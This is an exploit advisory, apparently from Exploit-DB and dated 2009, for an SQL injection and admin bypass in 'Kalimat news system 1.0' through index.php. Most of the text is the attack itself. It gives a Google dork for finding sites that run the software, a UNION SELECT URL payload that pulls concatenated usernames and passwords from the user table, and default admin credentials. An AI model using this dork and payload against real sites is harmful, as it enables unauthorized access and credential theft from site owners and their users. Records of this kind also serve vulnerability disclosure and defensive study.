kalimat new system 1.0 - 'index.php' SQL Injection

EDB-ID:

11563

CVE:

N/A




Platform:

PHP

Date:

2009-11-16


=====================================
| kalimat v 1.0 admin by pass (index.php)
=====================================
Author: ProF.Code
Email :adt@hotmail.com
=====================================
~~~~~~~~~~~~~~~~~~~~
dork(google) : intext:"Kalimat news system v 1.0"
~~~~~~~~~~~~~~~~~~~~
demo: http://server/kalimat/index.php?main=nc&id=12%20and%201=0%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,concat%28ur,0x3a,ps%29,11,12,13,14,15%20from+user
user : admin
pass : pass
=============================================================